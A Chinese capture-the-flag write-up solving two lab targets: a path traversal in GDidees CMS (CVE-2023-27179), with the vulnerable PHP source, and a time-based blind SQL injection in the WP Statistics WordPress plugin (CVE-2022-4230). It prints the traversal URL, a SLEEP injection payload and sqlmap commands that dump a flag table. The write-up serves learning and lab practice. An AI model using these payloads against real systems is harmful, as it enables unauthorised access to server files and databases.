cqyjldfx
CVE-2023-27179
靶标介绍:
GDidees CMS v3.9.1及更低版本被发现存在本地文件泄露漏洞,漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。攻击者可以通过向 filename 参数传递恶意输入来下载服务器上的任意文件。

提示有本地文件泄露,且位于 /_admin/imgdownload.php,参数是filename
所以可以构造: /_admin/imgdownload.php?filename=../../../../../flag
../可以遍历目录,最终查找flag

得到的是png文件,用笔记本编辑打开就可以得到flag

漏洞的根源在于对用户输入的 filename 参数处理不当。攻击者可以利用这一点,通过精心构造的 URL 来强制应用程序下载服务器上的任意文件。
但在其他师傅的复现是png文件下载后并不能够读取文件内容,用到curl工具
curl -l 命令可以自动重定向,并且获得最终结果,相当于读取页面的内容
可以构造: curl -l "http://eci-2ze9r318c46efrvteo4m.cloudeci1.ichunqiu.com/_admin/imgdownload.php?filename=../../../../../../flag"

同样可以得到flag
通过查找可以搜到漏洞产生的原理(查找的源代码):
<?php
$filename = $_GET['filename'];
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($filename));
header('Content-Transfer-Encoding: binary');
header('Expires: ');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filename));
ob_clean();
flush();
readfile($filename);
exit;
?>
定义了一个参数filename,传给函数readfile,但是对所传入的参数没有限制,形成本地文件包含漏洞
readfile() 函数读取一个文件,并写入到输出缓冲。
如果成功,该函数返回从文件中读入的字节数。如果失败,该函数返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 '@' 来隐藏错误输出。
因此可以通过目录遍历对文件进行读取。
CVE-2022-4230
靶标介绍:
WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下,具有管理选项功能 (admin+) 的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它。
WP,即WordPress。WordPress是一种使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。
一上来在初始界面什么都没有,进行目录扫描


用dirseach可以扫出readme.html,由于返回状态码500的太多了,还是建议在扫描时加上状态码限制,-i 200
可以:dirseach -u http://eci-2zec8sasoqvoyti2yefx.cloudeci1.ichunqiu.com -i 200
-i 只显示该状态码
-x 不显示该状态码
得到扫描结果后就可以访问

全是英语,看不懂没关系,直接翻译一下

可以看到登录界面,login page,点击后进入登录界面

呃,数据库连接失败,看了其他师傅的,该页面确实是登录界面,可能是环境问题。
进行抓包分析

状态码返回500,服务器错误状态码,确实是环境问题,重新打开新环境

重新打开环境后来到了登录框界面,注意观察:返回到test,那么test是什么的,这里猜测是用户名,他的意思就是返回test这个用户

点击后回到了初始界面
那么使用test进行登录看看,经过测试后密码也是为test

成功登录到该用户
根据描述WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。
进行搜索
wordpress是一个非常灵活方便的CMS系统,它拥有着非常灵活的API处理机制(REST API)WordPress REST API为应用程序提供了一个接口,通过发送和接收JSON(JavaScript Object Notation)对象形式的数据,与WordPress站点进行交互。它是WordPress块编辑器的基础,同样可以使主题,插件或自定义应用程序呈现新的,强大的界面,用于管理和发布网站内容。
Wordpress自己重写了路由规则,通过/wp-json/开头对内部的插件,主题等等进行访问,不过通过REST API来访问,每次都给发送一个_wpnonce来进行认证。wpscan平台是专门针对wordpress的漏洞平台.

进行访问:
http://eci-2zef9bcht3lovzp854ng.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php?action=rest-nonce
拿到我们的_wpnonce(随机数)

/wp-json/wp-statistics/v2/metabox?_wpnonce=e2c79c51d3&name=words&search_engine=aaa

得到如下界面
进行SQL注入,从wpscan平台可以得知是时间盲注
构造:
http://eci-2zef9bcht3lovzp854ng.cloudeci1.ichunqiu.com/wp-json/wp-statistics/v2/metabox?_wpnonce=e2c79c51d3&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR
进行验证,在5秒钟之后才回显,存在SQL注入的时间盲注漏洞,用sqlmap跑
抓包,把get请求的内容复制到5.txt文件中
命令: sqlmap -r 5.txt --batch --dbs

可以看到扫出来了四个库,注重wordpress这个库
接着获取该数据库的表名
sqlmap -r 5.txt --batch -D wordpress --tables

可以看到flag这个表,爆表的字段
sqlmap -r 5.txt --batch -D wordpress -T flag --columns

字段flag,获取字段的内容
sqlmap -r 5.txt --batch -D wordpress -T flag -C flag --dump

相关文章:
cqyjldfx
CVE-2023-27179 靶标介绍: GDidees CMS v3.9.1及更低版本被发现存在本地文件泄露漏洞,漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。攻击者可以通过向 filename 参数传递恶意输入来下载服务器上的任意文件。 提示有本地文件泄露&a…...
大数据——HBase原理
摘要 HBase 是一个开源的、非关系型的分布式数据库系统,主要用于存储海量的结构化和半结构化数据。它是基于谷歌的 Bigtable 论文实现的,运行在 Hadoop 分布式文件系统(HDFS)之上,并且可以与 Hadoop 生态系统的其他组…...
《电视技术》是什么级别的期刊?是正规期刊吗?能评职称吗?
问题解答 问:《电视技术》是不是核心期刊? 答:不是,是知网收录的第一批认定学术期刊。 问:《电视技术》级别? 答:国家级。主管单位:中国电子科技集团公司 主办单位ÿ…...
网络编程 --------- 2、socket网络编程接口
1、什么是socket 套接字 socke套接字是一个编程的接口 (网络编程的接口)、是一种特殊的文件描述符 (read/write),不局限于TCP/IP 。socket是独立于具体协议的网络编程接口这个接口是位于 应用层和传输层之间 。 类型: (1)流式套接字 SOCK_ST…...
C# Deconstruct详解
总目录 前言 该文来源于探索弃元的使用,由弃元了解到元组,由元组又了解到解构方法Deconstruct。 另外本文中 解构和析构一个意思,不要在意! 一、Deconstruct是什么? 1. 关于元组 如果我们想了解Deconstruct 的使用&…...
Java 面试常见问题之——为什么重写equals时必须重写hashCode方法
Java 面试常见问题之——为什么重写equals时必须重写hashCode方法 当重写 equals 方法时,通常也应该重写 hashCode 方法,原因主要有以下几点: 一致性原则:根据 Java 的约定,如果两个对象通过 equals 方法比较返回 tr…...
后端给的树形结构 递归 改造成阶联选择器所需要的lable、value结构
赋值:this.newTreeData this.renameFields(this.treeData) 递归方法:renameFields (tree) {return tree.map(node > {// 创建一个新对象来存放修改后的字段名const newNode {value: node.id,label: node.title,// 如果有子节点,则递归处理…...
文献阅读:基于拓扑结构模型构建ICI收益诊断模型
介绍 Custom scoring based on ecological topology of gut microbiota associated with cancer immunotherapy outcome是来自法国Gustave Roussy Cancer Campus的Laurence Zitvogel实验室最近发表在cell的关于使用肠道微生物拓扑结构预测免疫治疗疗效的文章。 该研究提供基于…...
Python文献调研(四)QtDesigner的布局
一、新建项目: 1.打开pycharm,新建一个Python项目 (1)右键项目列表区,找到我们之前配置好的外部工具,点击Pyside6 QtDesigner 打开Qt Designer后会是这个界面: (2)此时…...
CentOS Linux release 7.9.2009 中sudo命令未找到
先在 Windows 环境中下载 sudo 的安装包 下载安装包:https://www.sudo.ws/releases/stable/ 然后把安装包拷贝的 Centos 中,cd 进入安装包所在的目录执行下面的命令: 格式:rpm -Uhv xxxxx.rpm rpm -Uhv sudo-logsrvd-1.9.15-6.…...
生产计划问题的不同最优化工具软件求解
一、优化求解软件简介 众所周知,常用的优化工具软件有Lingo、Mathcad和MATLAB。 1. LINGO是Linear Interactive and General Optimizer的缩写,即“交互式的线性和通用优化求解器”,由美国LINDO系统公司(Lindo System Inc.&…...
Java关键字及保留字总结
文章目录 Java关键字及保留字总结(按首字母字母顺序所排列)1.abstract2.boolean3.break4.byte5.case6.catch7.char8.class9.continue10.default11.do12.double13.else14.enum15.extends16.final17.finally18.float19.for20.if21.implements22.import23.i…...
【PGCCC】PostgreSQL 14 小版本分析,有那个版本不建议使用#PG中级
以下是对 PostgreSQL 14 各个小版本的详细分析,包括每个版本的主要变化、修复的 bug 和潜在的问题: PostgreSQL 14.0 发布日期:2021 年 9 月 30 日 主要变化: 增加了并行查询的改进,提升了性能。增强了 JSON 数据类…...
B树在数据库中的应用:理论与实践
B树在数据库中的应用:理论与实践 B树(B-tree)是一种自平衡的树数据结构,广泛应用于数据库系统中,特别是用于实现索引和文件系统中的关键字查找。B树的设计目标是保持数据有序并允许高效的查找、插入和删除操作。本文将…...
网络编程 -------- 3、TCP_UDP_UNIX
1、基于TCP的套接字编程流程 Server.c socket bind (服务器的ip端口) listen accept recv / send close Client.c socket connect (服务器的ip端口) …...
口袋奇兵:游戏辅助教程!陆军搭配阵容推荐,平民必备!
《口袋奇兵》是一款策略类手游,玩家需要在游戏中组建和指挥自己的军队,进行各种战斗和任务。为了在游戏中取得更好的成绩,合理搭配英雄和使用辅助工具是非常重要的。本攻略将为大家介绍一种强力的陆军搭配阵容,以及如何利用VMOS云…...
Spring Boot 集成参数效验 Validator
为什么需要参数效验? 在业务开发中,为了防止非法参数对业务造成影响,所以需要对用户输入的正确性、数据完整性、安全性、业务规则的执行做效验,靠代码对接口参数做if判断的话就太繁琐了,代码冗余且可读性差(主要是不够优雅)。 Validator效验框架遵循了JSR-303验证规范…...
63、ELK安装和部署
一、ELK日志系统 1.1、ELK平台的定义 ELK平台是一套完整的日志集中处理解决方案,将ElasticSearch、Logstash和Kiabana 三个开源工具配合使用,完成更强大的用户对日志的查询、排序、统计需求 E:elasticsearch ES分布式索引型非关系数据库,存…...
【Dash】简单的直方图
一、Visualizing Data The Plotly graphing library has more than 50 chart types to choose from. In this example, we will make use of the histogram chart. # Import packages from dash import Dash, html, dash_table, dcc import pandas as pd import plotly.expre…...
【CTF-Crypto】格密码基础(例题较多,非常适合入门!)
格密码相关 文章目录 格密码相关格密码基本概念(属于后量子密码)基础的格运算(行列式运算)SVP(shortest Vector Problem)最短向量问题CVP(Closet Vector Problem)最近向量问题 做题要…...
重庆优质小程序开发性价比优选推荐
在重庆,随着小程序开发市场的迅速发展,企业面临着众多选择。为了确保项目的成功、选择一家靠谱的小程序开发公司成为核心。这些公司能够提供高质量的服务市场需求、为企业量身定制解决方案。分析各家公司在服务质量和技术实力上的差异合作伙伴。另外&…...
如何彻底解决Windows风扇控制难题:Fan Control完整指南
如何彻底解决Windows风扇控制难题:Fan Control完整指南 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub_Trending/f…...
shell脚本案例(dns主从服务配置)
dns主从服务配置主服务器shell脚本#!/bin/bashset -euo pipefail#configuration parametersMASTER_IP"192.168.153.131" DOMAIN"web.com" REV_ZONE"153.168.192.in-addr.arpa" SLAVE_IP"192.168.153.132"#tool parametersinfo(){ echo…...
WindowResizer:突破Windows窗口限制的精准尺寸控制工具
WindowResizer:突破Windows窗口限制的精准尺寸控制工具 【免费下载链接】WindowResizer 一个可以强制调整应用程序窗口大小的工具 项目地址: https://gitcode.com/gh_mirrors/wi/WindowResizer 在Windows桌面环境中,应用程序窗口尺寸管理是影响工…...
为Cursor AI Agent构建专用HTTP客户端:扩展智能体联网能力实战
1. 项目概述:一个为Cursor AI Agent定制的HTTP客户端 如果你和我一样,深度使用Cursor作为日常开发的主力工具,那你肯定对它的“Agent”功能又爱又恨。爱的是,它能理解你的意图,帮你生成代码、重构函数、甚至写测试&…...
Legacy iOS Kit终极指南:一站式拯救老旧iPhone/iPad的免费工具
Legacy iOS Kit终极指南:一站式拯救老旧iPhone/iPad的免费工具 【免费下载链接】Legacy-iOS-Kit An all-in-one tool to restore/downgrade, save SHSH blobs, jailbreak legacy iOS devices, and more 项目地址: https://gitcode.com/gh_mirrors/le/Legacy-iOS-K…...
硬件工程师如何高效阅读技术博客:从EDA工具到IP核的实战学习指南
1. 从“本周最佳”到深度解析:一位硬件工程师的EDA与IP博客阅读笔记每周五下午,当项目代码编译的进度条缓慢爬升时,我总会习惯性地打开几个固定的书签,快速浏览过去一周里全球同行们又分享了哪些新想法、新工具或是踩了哪些新坑。…...
避开这些坑!用Vivado FIFO IP核做跨时钟域处理的5个实战细节
避开这些坑!用Vivado FIFO IP核做跨时钟域处理的5个实战细节 在FPGA设计中,跨时钟域(CDC)数据传输一直是工程师们面临的棘手问题。Xilinx Vivado提供的FIFO IP核因其稳定性和易用性,成为处理CDC问题的首选方案。然而&a…...
别再死磕动态规划了!用Python模拟退火算法搞定背包问题,附完整代码
用Python模拟退火算法优雅解决背包问题:从理论到实战 在算法学习的过程中,背包问题就像一座难以逾越的高山,让无数初学者望而生畏。传统的动态规划解法虽然精确,但代码实现复杂、状态转移方程难以理解,对于实际应用场景…...
从量子自旋到量子比特:原理、应用与工程实践全解析
1. 从“旋转的电子”到“内禀角动量”:自旋概念的祛魅如果你在大学里上过量子力学课,大概率在某个时刻被“自旋”这个概念迎面撞上。我记得当时教授在黑板上写下“电子自旋为1/2”,然后试图用一个小球绕自身轴旋转的经典图像来解释࿰…...
